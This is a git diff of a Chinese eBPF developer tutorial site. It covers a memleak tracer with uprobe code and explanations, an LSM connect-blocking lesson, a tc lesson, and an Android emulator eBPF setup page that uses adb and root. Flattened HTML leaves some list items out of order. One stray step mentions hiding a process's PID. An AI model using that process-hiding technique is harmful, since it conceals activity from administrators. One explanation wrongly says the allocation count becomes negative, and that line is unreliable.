-update_statistics_add函数的主要作用是更新内存分配的统计信息,其中参数stack_id是当前内存分配的堆栈ID,sz是当前内存分配的大小。该函数首先通过bpf_map_lookup_or_try_init函数在combined_allocs map中查找与当前堆栈ID相关联的combined_alloc_info结构体,如果找到了,则将新的分配大小和分配次数加入到已有的combined_alloc_info结构体中;如果未找到,则使用initial_cinfo初始化一个新的combined_alloc_info结构体,并添加到combined_allocs map中。
-更新combined_alloc_info结构体的方法是使用__sync_fetch_and_add函数,原子地将incremental_cinfo中的值累加到existing_cinfo中的值中。通过这种方式,即使多个线程同时调用update_statistics_add函数,也可以保证计数的正确性。
-在gen_alloc_exit函数中,将ctx参数传递给gen_alloc_exit2函数,并将它的返回值作为自己的返回值。这里使用了PT_REGS_RC宏获取函数返回值。
-最后定义的BPF_KRETPROBE(malloc_exit)是一个kretprobe类型的函数,用于在malloc函数返回时执行。并调用gen_alloc_exit函数跟踪内存分配和释放的请求。
-static void update_statistics_del(u64 stack_id, u64 sz)
-{
- union combined_alloc_info *existing_cinfo;
-
- existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id);
- if (!existing_cinfo) {
- bpf_printk("failed to lookup combined allocs\n");
-
- return;
- }
-
- const union combined_alloc_info decremental_cinfo = {
- .total_size = sz,
- .number_of_allocs = 1
- };
-
- __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);
-}
-
-static int gen_free_enter(const void *address)
-{
- const u64 addr = (u64)address;
-
- const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr);
- if (!info)
- return 0;
-
- bpf_map_delete_elem(&allocs, &addr);
- update_statistics_del(info->stack_id, info->size);
-
- if (trace_all) {
- bpf_printk("free entered, address = %lx, size = %lu\n",
- address, info->size);
- }
-
- return 0;
+ // 记录分配结束的相关信息
+ return gen_alloc_exit(ctx);
}
SEC("uprobe")
int BPF_KPROBE(free_enter, void *address)
{
- return gen_free_enter(address);
+ // 记录释放开始的相关信息
+ return gen_free_enter(address);
}
-gen_free_enter函数接收一个地址参数,该函数首先使用allocs map查找该地址对应的内存分配信息。如果未找到,则表示该地址没有被分配,该函数返回0。如果找到了对应的内存分配信息,则使用bpf_map_delete_elem从allocs map中删除该信息。
-接下来,调用update_statistics_del函数用于更新内存分配的统计信息,它接收堆栈ID和内存块大小作为参数。首先在combined_allocs map中查找堆栈ID对应的内存分配统计信息。如果没有找到,则输出一条日志,表示查找失败,并且函数直接返回。如果找到了对应的内存分配统计信息,则使用原子操作从内存分配统计信息中减去该内存块大小和1(表示减少了1个内存块)。这是因为堆栈ID对应的内存块数量减少了1,而堆栈ID对应的内存块总大小也减少了该内存块的大小。
-最后定义了一个bpf程序BPF_KPROBE(free_enter, void *address)会在进程调用free函数时执行。它会接收参数address,表示正在释放的内存块的地址,并调用gen_free_enter函数来处理该内存块的释放。
+其中,malloc_enter 和 free_enter 是分别挂载在 malloc 和 free 函数入口处的探针(probes),用于在函数调用时进行数据记录。而 malloc_exit 则是挂载在 malloc 函数的返回处的探针,用于记录函数的返回值。
+这些函数使用了 BPF_KPROBE 和 BPF_KRETPROBE 这两个宏来声明,这两个宏分别用于声明 kprobe(内核探针)和 kretprobe(内核返回探针)。具体来说,kprobe 用于在函数调用时触发,而 kretprobe 则是在函数返回时触发。
+gen_alloc_enter 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。
+static int gen_alloc_enter(size_t size)
+{
+ if (size < min_size || size > max_size)
+ return 0;
+
+ if (sample_rate > 1) {
+ if (bpf_ktime_get_ns() % sample_rate != 0)
+ return 0;
+ }
+
+ const pid_t pid = bpf_get_current_pid_tgid() >> 32;
+ bpf_map_update_elem(&sizes, &pid, &size, BPF_ANY);
+
+ if (trace_all)
+ bpf_printk("alloc entered, size = %lu\n", size);
+
+ return 0;
+}
+
+SEC("uprobe")
+int BPF_KPROBE(malloc_enter, size_t size)
+{
+ return gen_alloc_enter(size);
+}
+
+首先,gen_alloc_enter 函数接收一个 size 参数,这个参数表示请求分配的内存的大小。如果这个值不在 min_size 和 max_size 之间,函数将直接返回,不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求,过滤掉不感兴趣的分配请求。
+接下来,函数检查采样率 sample_rate。如果 sample_rate 大于1,意味着我们不需要追踪所有的内存分配请求,而是周期性地追踪。这里使用 bpf_ktime_get_ns 获取当前的时间戳,然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术,用于降低性能开销,同时还能够提供一个代表性的样本用于分析。
+之后,函数使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID,我们通过右移 32 位来获取真正的进程 ID。
+函数接下来更新 sizes 这个 map,这个 map 以进程 ID 为键,以请求的内存分配大小为值。BPF_ANY 表示如果 key 已存在,那么更新 value,否则就新建一个条目。
+最后,如果启用了 trace_all 标志,函数将打印一条信息,说明发生了内存分配。
+BPF_KPROBE 宏用于
+最后定义了 BPF_KPROBE(malloc_enter, size_t size),它会在 malloc 函数被调用时被 BPF uprobe 拦截执行,并通过 gen_alloc_enter 来记录内存分配大小。
+我们刚刚分析了内存分配的入口函数 gen_alloc_enter,现在我们来关注这个过程的退出部分。具体来说,我们将讨论 gen_alloc_exit2 函数以及如何从内存分配调用中获取返回的内存地址。
+static int gen_alloc_exit2(void *ctx, u64 address)
+{
+ const pid_t pid = bpf_get_current_pid_tgid() >> 32;
+ struct alloc_info info;
+
+ const u64* size = bpf_map_lookup_elem(&sizes, &pid);
+ if (!size)
+ return 0; // missed alloc entry
+
+ __builtin_memset(&info, 0, sizeof(info));
+
+ info.size = *size;
+ bpf_map_delete_elem(&sizes, &pid);
+
+ if (address != 0) {
+ info.timestamp_ns = bpf_ktime_get_ns();
+
+ info.stack_id = bpf_get_stackid(ctx, &stack_traces, stack_flags);
+
+ bpf_map_update_elem(&allocs, &address, &info, BPF_ANY);
+
+ update_statistics_add(info.stack_id, info.size);
+ }
+
+ if (trace_all) {
+ bpf_printk("alloc exited, size = %lu, result = %lx\n",
+ info.size, address);
+ }
+
+ return 0;
+}
+static int gen_alloc_exit(struct pt_regs *ctx)
+{
+ return gen_alloc_exit2(ctx, PT_REGS_RC(ctx));
+}
+
+SEC("uretprobe")
+int BPF_KRETPROBE(malloc_exit)
+{
+ return gen_alloc_exit(ctx);
+}
+
+gen_alloc_exit2 函数在内存分配操作完成时被调用,这个函数接收两个参数,一个是上下文 ctx,另一个是内存分配函数返回的内存地址 address。
+首先,它获取当前线程的 PID,然后使用这个 PID 作为键在 sizes 这个 map 中查找对应的内存分配大小。如果没有找到(也就是说,没有对应的内存分配操作的入口),函数就会直接返回。
+接着,函数清除 info 结构体的内容,并设置它的 size 字段为之前在 map 中找到的内存分配大小。并从 sizes 这个 map 中删除相应的元素,因为此时内存分配操作已经完成,不再需要这个信息。
+接下来,如果 address 不为 0(也就是说,内存分配操作成功了),函数就会进一步收集一些额外的信息。首先,它获取当前的时间戳作为内存分配完成的时间,并获取当前的堆栈跟踪。这些信息都会被储存在 info 结构体中,并随后更新到 allocs 这个 map 中。
+最后,函数调用 update_statistics_add 更新统计数据,如果启用了所有内存分配操作的跟踪,函数还会打印一些关于内存分配操作的信息。
+请注意,gen_alloc_exit 函数是 gen_alloc_exit2 的一个包装,它将 PT_REGS_RC(ctx) 作为 address 参数传递给 gen_alloc_exit2。在我们的讨论中,我们刚刚提到在gen_alloc_exit2函数中,调用了update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。
+static void update_statistics_add(u64 stack_id, u64 sz)
+{
+ union combined_alloc_info *existing_cinfo;
+
+ existing_cinfo = bpf_map_lookup_or_try_init(&combined_allocs, &stack_id, &initial_cinfo);
+ if (!existing_cinfo)
+ return;
+
+ const union combined_alloc_info incremental_cinfo = {
+ .total_size = sz,
+ .number_of_allocs = 1
+ };
+
+ __sync_fetch_and_add(&existing_cinfo->bits, incremental_cinfo.bits);
+}
+
+update_statistics_add 函数接收两个参数:当前的堆栈 ID stack_id 以及内存分配的大小 sz。这两个参数都在内存分配事件中收集到,并且用于更新内存分配的统计数据。
+首先,函数尝试在 combined_allocs 这个 map 中查找键值为当前堆栈 ID 的元素,如果找不到,就用 initial_cinfo(这是一个默认的 combined_alloc_info 结构体,所有字段都为零)来初始化新的元素。
+接着,函数创建一个 incremental_cinfo,并设置它的 total_size 为当前内存分配的大小,设置 number_of_allocs 为 1。这是因为每次调用 update_statistics_add 函数都表示有一个新的内存分配事件发生,而这个事件的内存分配大小就是 sz。
+最后,函数使用 __sync_fetch_and_add 函数原子地将 incremental_cinfo 的值加到 existing_cinfo 中。请注意这个步骤是线程安全的,即使有多个线程并发地调用 update_statistics_add 函数,每个内存分配事件也能正确地记录到统计数据中。
+总的来说,update_statistics_add 函数实现了内存分配统计的更新逻辑,通过维护每个堆栈 ID 的内存分配总量和次数,我们可以深入了解到程序的内存分配行为。
+在我们对内存分配的统计跟踪过程中,我们不仅要统计内存的分配,还要考虑内存的释放。在上述代码中,我们定义了一个名为 update_statistics_del 的函数,其作用是在内存释放时更新统计信息。而 gen_free_enter 函数则是在进程调用 free 函数时被执行。
+static void update_statistics_del(u64 stack_id, u64 sz)
+{
+ union combined_alloc_info *existing_cinfo;
+
+ existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id);
+ if (!existing_cinfo) {
+ bpf_printk("failed to lookup combined allocs\n");
+ return;
+ }
+
+ const union combined_alloc_info decremental_cinfo = {
+ .total_size = sz,
+ .number_of_allocs = 1
+ };
+
+ __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits);
+}
+
+update_statistics_del 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 combined_allocs 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 combined_alloc_info 结构体。如果找不到,就输出错误信息,然后函数返回。如果找到了,就会构造一个名为 decremental_cinfo 的 combined_alloc_info 结构体,设置它的 total_size 为要释放的内存大小,设置 number_of_allocs 为 1。然后使用 __sync_fetch_and_sub 函数原子地从 existing_cinfo 中减去 decremental_cinfo 的值。请注意,这里的 number_of_allocs 是负数,表示减少了一个内存分配。
+static int gen_free_enter(const void *address)
+{
+ const u64 addr = (u64)address;
+
+ const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr);
+ if (!info)
+ return 0;
+
+ bpf_map_delete_elem(&allocs, &addr);
+ update_statistics_del(info->stack_id, info->size);
+
+ if (trace_all) {
+ bpf_printk("free entered, address = %lx, size = %lu\n",
+ address, info->size);
+ }
+
+ return 0;
+}
+
+SEC("uprobe")
+int BPF_KPROBE(free_enter, void *address)
+{
+ return gen_free_enter(address);
+}
+
+接下来看 gen_free_enter 函数。它接收一个地址作为参数,这个地址是内存分配的结果,也就是将要释放的内存的起始地址。函数首先在 allocs 这个 map 中使用这个地址作为键来查找对应的 alloc_info 结构体。如果找不到,那么就直接返回,因为这意味着这个地址并没有被分配过。如果找到了,那么就删除这个元素,并且调用 update_statistics_del 函数来更新统计数据。最后,如果启用了全局追踪,那么还会输出一条信息,包括这个地址以及它的大小。
+在我们追踪和统计内存分配的同时,我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中,kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。
+SEC("tracepoint/kmem/kfree")
+int memleak__kfree(void *ctx)
+{
+ const void *ptr;
+
+ if (has_kfree()) {
+ struct trace_event_raw_kfree___x *args = ctx;
+ ptr = BPF_CORE_READ(args, ptr);
+ } else {
+ struct trace_event_raw_kmem_free___x *args = ctx;
+ ptr = BPF_CORE_READ(args, ptr);
+ }
+
+ return gen_free_enter(ptr);
+}
+
+上述代码片段定义了一个函数memleak__kfree,这是一个bpf程序,会在内核调用kfree函数时执行。首先,该函数检查是否存在kfree函数。如果存在,则会读取传递给kfree函数的参数(即要释放的内存块的地址),并保存到变量ptr中;否则,会读取传递给kmem_free函数的参数(即要释放的内存块的地址),并保存到变量ptr中。接着,该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。
+SEC("tracepoint/kmem/kmem_cache_alloc")
+int memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx)
+{
+ if (wa_missing_free)
+ gen_free_enter(ctx->ptr);
+
+ gen_alloc_enter(ctx->bytes_alloc);
+
+ return gen_alloc_exit2(ctx, (u64)(ctx->ptr));
+}
+
+这段代码定义了一个函数 memleak__kmem_cache_alloc,这也是一个bpf程序,会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置,则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后,该函数会调用 gen_alloc_enter 函数来处理内存分配,最后调用gen_alloc_exit2函数记录分配的结果。
+这两个 bpf 程序都使用了 SEC 宏定义了对应的 tracepoint,以便在相应的内核函数被调用时得到执行。在Linux内核中,tracepoint 是一种可以在内核中插入的静态钩子,可以用来收集运行时的内核信息,它在调试和性能分析中非常有用。
+在理解这些代码的过程中,要注意 BPF_CORE_READ 宏的使用。这个宏用于在 bpf 程序中读取内核数据。在 bpf 程序中,我们不能直接访问内核内存,而需要使用这样的宏来安全地读取数据。
+用户态程序
+在理解 BPF 内核部分之后,我们转到用户空间程序。用户空间程序与BPF内核程序紧密配合,它负责将BPF程序加载到内核,设置和管理BPF map,以及处理从BPF程序收集到的数据。用户态程序较长,我们这里可以简要参考一下它的挂载点。
+int attach_uprobes(struct memleak_bpf *skel)
+{
+ ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter);
+ ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit);
+
+ ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter);
+ ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit);
+
+ ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter);
+ ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit);
+
+ ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter);
+ ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit);
+
+ ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter);
+ ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit);
+
+ ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter);
+ ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit);
+
+ ATTACH_UPROBE_CHECKED(skel, free, free_enter);
+ ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter);
+
+ // the following probes are intentinally allowed to fail attachment
+
+ // deprecated in libc.so bionic
+ ATTACH_UPROBE(skel, valloc, valloc_enter);
+ ATTACH_URETPROBE(skel, valloc, valloc_exit);
+
+ // deprecated in libc.so bionic
+ ATTACH_UPROBE(skel, pvalloc, pvalloc_enter);
+ ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit);
+
+ // added in C11
+ ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter);
+ ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit);
+
+ return 0;
+}
+
+在这段代码中,我们看到一个名为attach_uprobes的函数,该函数负责将uprobes(用户空间探测点)挂载到内存分配和释放函数上。在Linux中,uprobes是一种内核机制,可以在用户空间程序中的任意位置设置断点,这使得我们可以非常精确地观察和控制用户空间程序的行为。
+这里,每个内存相关的函数都通过两个uprobes进行跟踪:一个在函数入口(enter),一个在函数退出(exit)。因此,每当这些函数被调用或返回时,都会触发一个uprobes事件,进而触发相应的BPF程序。
+在具体的实现中,我们使用了ATTACH_UPROBE和ATTACH_URETPROBE两个宏来附加uprobes和uretprobes(函数返回探测点)。每个宏都需要三个参数:BPF程序的骨架(skel),要监视的函数名,以及要触发的BPF程序的名称。
+这些挂载点包括常见的内存分配函数,如malloc、calloc、realloc、mmap、posix_memalign、memalign、free等,以及对应的退出点。另外,我们也观察一些可能的分配函数,如valloc、pvalloc、aligned_alloc等,尽管它们可能不总是存在。
+这些挂载点的目标是捕获所有可能的内存分配和释放事件,从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放,还能得到它们发生的上下文信息,例如调用栈和调用次数,从而帮助我们定位和修复内存泄露问题。
+注意,一些内存分配函数可能并不存在或已弃用,比如valloc、pvalloc等,因此它们的附加可能会失败。在这种情况下,我们允许附加失败,并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数,而这些已经被弃用的函数往往在实际应用中较少使用。
+完整的源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak
编译运行
$ git clone https://github.com/iovisor/bcc.git --recurse-submodules
$ cd libbpf-tools/
@@ -371,8 +533,9 @@ Tracing outstanding memory allocs... Hit Ctrl-C to end
...
总结
-memleak是一个内存泄漏监控工具,可以用来跟踪内存分配和释放时间对应的调用栈信息。随着时间的推移,这个工具可以显示长期不被释放的内存。
-这份代码来自于https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.bpf.c
+通过本篇 eBPF 入门实践教程,您已经学习了如何编写 Memleak eBPF 监控程序,以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用,学会了使用 BPF API 编写 eBPF 程序,创建和使用 eBPF maps,并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子,帮助您理解 eBPF 代码的运行流程和原理。
+您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。
+接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF,以解决实际工作中遇到的问题。
eBPF 入门实践教程:使用 LSM 进行安全检测防御
+eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。这个特性使得 eBPF 能够提供极高的灵活性和性能,使其在网络和系统性能分析方面具有广泛的应用。安全方面的 eBPF 应用也是如此,本文将介绍如何使用 eBPF LSM(Linux Security Modules)机制实现一个简单的安全检查程序。
背景
LSM 从 Linux 2.6 开始成为官方内核的一个安全框架,基于此的安全实现包括 SELinux 和 AppArmor 等。在 Linux 5.7 引入 BPF LSM 后,系统开发人员已经能够自由地实现函数粒度的安全检查能力,本文就提供了这样一个案例:限制通过 socket connect 函数对特定 IPv4 地址进行访问的 BPF LSM 程序。(可见其控制精度是很高的)
LSM 概述
@@ -261,10 +262,10 @@ Retrying. wget-7061 [000] d...1 6318.800698: bpf_trace_printk: lsm: found connect to 16843009 wget-7061 [000] d...1 6318.800700: bpf_trace_printk: lsm: blocking 16843009 +完整源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/19-lsm-connect
总结
本文介绍了如何使用 BPF LSM 来限制通过 socket 对特定 IPv4 地址的访问。我们可以通过修改 GRUB 配置文件来开启 LSM 的 BPF 挂载点。在 eBPF 程序中,我们通过 BPF_PROG 宏定义函数,并通过 SEC 宏指定挂载点;在函数实现上,遵循 LSM 安全检查模块中 "cannot override a denial" 的原则,并根据 socket 连接请求的目的地址对该请求进行限制。
更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
-完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。
+如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。
参考
- https://github.com/leodido/demo-cloud-native-ebpf-day diff --git a/2-kprobe-unlink/index.html b/2-kprobe-unlink/index.html index 6e75f6d..5cf0f4a 100644 --- a/2-kprobe-unlink/index.html +++ b/2-kprobe-unlink/index.html @@ -83,7 +83,7 @@ @@ -256,7 +256,7 @@ rm test2
总结
通过本文的示例,我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。
-完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。
+如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。
eBPF 入门实践教程:使用 eBPF 进行 tc 流量控制
+eBPF 入门实践教程二十:使用 eBPF 进行 tc 流量控制
背景
Linux 的流量控制子系统(Traffic Control, tc)在内核中存在了多年,类似于 iptables 和 netfilter 的关系,tc 也包括一个用户态的 tc 程序和内核态的 trafiic control 框架,主要用于从速率、顺序等方面控制数据包的发送和接收。从 Linux 4.1 开始,tc 增加了一些新的挂载点,并支持将 eBPF 程序作为 filter 加载到这些挂载点上。
tc 概述
@@ -215,8 +215,7 @@ Packing ebpf object and config into package.json...总结
本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案,我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备,并借助内核的 sk_buff 结构对数据包进行过滤处理。
-更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf
-完整的教程和源代码已经全部开源,可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看。
+如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。
参考
- http://just4coding.com/2022/08/05/tc/ @@ -231,7 +230,7 @@ Packing ebpf object and config into package.json... - + @@ -245,7 +244,7 @@ Packing ebpf object and config into package.json... - + diff --git a/22-android/index.html b/22-android/index.html new file mode 100644 index 0000000..6c0ead2 --- /dev/null +++ b/22-android/index.html @@ -0,0 +1,332 @@ + + + + + +
- SeeFlowerX:https://blog.seeflower.dev/category/eBPF/ +
- evilpan:https://bbs.kanxue.com/thread-271043.htm +
- Android Emulator(Android Studio Flamingo | 2022.2.1) +
- AVD: Pixel 6 +
- Android Image: Tiramisu Android 13.0 x86_64(5.15.41-android13-8-00055-g4f5025129fe8-ab8949913) +
- 从 eadb 仓库 的 releases 页面获取
debianfs-amd64-full.tar.gz作为 Linux 环境的 rootfs,同时还需要获取该项目的assets目录来构建环境;
+ - 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device; +
- 通过 Android Studio SDK 的 adb 工具将
debianfs-amd64-full.tar.gz和assets目录推送到 AVD 中: +-
+
./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz
+./adb push assets /data/local/tmp/assets
+
+ - 通过 adb 进入 Android shell 环境并获取 root 权限:
+
-
+
./adb shell
+su
+
+ - 在 Android shell 中构建并进入 debian 环境:
+
-
+
mkdir -p /data/eadb
+mv /data/local/tmp/assets/* /data/eadb
+mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz
+rm -r /data/local/tmp/assets
+chmod +x /data/eadb/device-*
+/data/eadb/device-unpack
+/data/eadb/run /data/eadb/debian
+
+ - 内核编译选项未支持相关 eBPF 功能; +
- eadb 打包的 Linux 环境较弱,缺乏必须依赖; +
- "vmlinux.h" 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件,eBPF 程序可以访问内核的数据结构。 +
- "bpf_helpers.h" 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手(helper)函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 +
- "bpf_tracing.h" 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点(tracepoint)的操作。 +
- "bpf_core_read.h" 头文件提供了一组用于从内核读取数据的宏和函数。 +
- 打开 eBPF 程序。 +
- 设置我们想要隐藏的进程的 PID。 +
- 验证并加载 eBPF 程序。 +
- 等待并处理由 eBPF 程序发送的事件。 +
在 Andorid 上使用 eBPF 程序
+++本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 +测试采用的方式是在 Android Shell 环境下构建 Debian 环境,并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。
+
背景
+截至目前(2023-04),Android 还未对 eBPF 程序的动态加载做出较好的支持,无论是以 bcc 为代表的带编译器分发方案,还是基于 btf 和 libbpf 的 CO-RE 方案,都在较大程度上离不开 Linux 环境的支持,无法在 Android 系统上很好地运行1。
+虽然如此,在 Android 平台上尝试 eBPF 也已经有了一些成功案例,除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案2,也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路,并开发了相关工具。
目前已有的资料,大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱,并对 bcc 和 bpftrace 相关工具链进行测试,而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料,如:
+-
+
其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像,并在其中构建整个 bcc 工具链,从而使用 eBPF 工具。如果想要使用 bpftrace,原理也是类似的。
+事实上,高版本的 Android 内核已支持 btf 选项,这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。
+++eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目,旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式,其核心依赖是 libbpf,相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。
+
测试环境
+-
+
环境搭建3
+-
+
至此,测试 eBPF 所需的 Linux 环境已经构建完毕。此外,在 Android shell 中(未进入 debian 时)可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。
++目前,eadb 打包的 debian 环境存在 libc 版本低,缺少的工具依赖较多等情况;并且由于内核编译选项不同,一些 eBPF 功能可能也无法使用。
+
工具构建
+在 debian 环境中将 eunomia-bpf 仓库 clone 到本地,具体的构建过程,可以参考仓库的 build.md。在本次测试中,笔者选用了 ecc 编译生成 package.json 的方式,该工具的构建和使用方式请参考仓库页面。
++在构建过程中,可能需要自行安装包括但不限于
+curl,pkg-config,libssl-dev等工具。
结果
+有部分 eBPF 程序可以成功在 Android 上运行,但也会有部分应用因为种种原因无法成功被执行。
+成功案例
+bootstrap
+运行输出如下:
+TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT
+09:09:19 10217 479 0 0 sh /system/bin/sh 0
+09:09:19 10217 479 0 0 ps /system/bin/ps 0
+09:09:19 10217 479 0 54352100 ps 1
+09:09:21 10219 479 0 0 sh /system/bin/sh 0
+09:09:21 10219 479 0 0 ps /system/bin/ps 0
+09:09:21 10219 479 0 44260900 ps 1
+
+tcpstates
+开始监测后在 Linux 环境中通过 wget 下载 Web 页面:
TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK
+09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget
+09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0
+09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget
+09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0
+09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0
+09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet
+09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet
+
+开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面:
+TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK
+07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService
+07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService
+07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService
+07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService
+07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService
+07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService
